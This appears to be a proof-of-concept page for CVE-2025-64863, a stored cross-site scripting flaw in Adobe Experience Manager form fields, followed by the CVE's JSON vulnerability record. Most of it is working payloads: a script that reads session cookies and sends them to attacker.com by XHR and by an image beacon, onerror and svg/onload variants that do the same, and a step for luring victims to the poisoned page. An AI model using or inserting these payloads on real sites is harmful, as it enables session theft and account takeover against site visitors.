CVE-2025-64863

<!-- CVE-2025-64863 Stored XSS PoC for Adobe Experience Manager --> <!-- This PoC demonstrates the stored XSS vulnerability in AEM form fields --> <!-- Step 1: Identify the vulnerable form endpoint --> <!-- AEM forms typically use the following endpoints: --> <!-- /content/forms/af/<form-name>.html --> <!-- /libs/granite/csrf/token.json --> <!-- Step 2: Inject malicious JavaScript payload --> <!-- The following payload can be injected into form text fields --> <script> // Steal session cookies var cookies = document.cookie; // Create exfiltration channel var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/exfiltrate', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // Send stolen data to attacker server xhr.send('data=' + encodeURIComponent(cookies)); // Alternatively, use img tag for simpler exfiltration new Image().src = 'https://attacker.com/log?cookie=' + encodeURIComponent(cookies); </script> <!-- Alternative payload using event handlers --> <img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie"> <svg/onload=fetch('https://attacker.com/'+document.cookie)> <!-- Step 3: Social engineering --> <!-- Lure victim to visit the page containing the malicious form field --> <!-- When victim visits the page, the stored script executes automatically -->

{"cve": {"id": "CVE-2025-64863", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:33.643", "lastModified": "2025-12-12T17:33:20.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}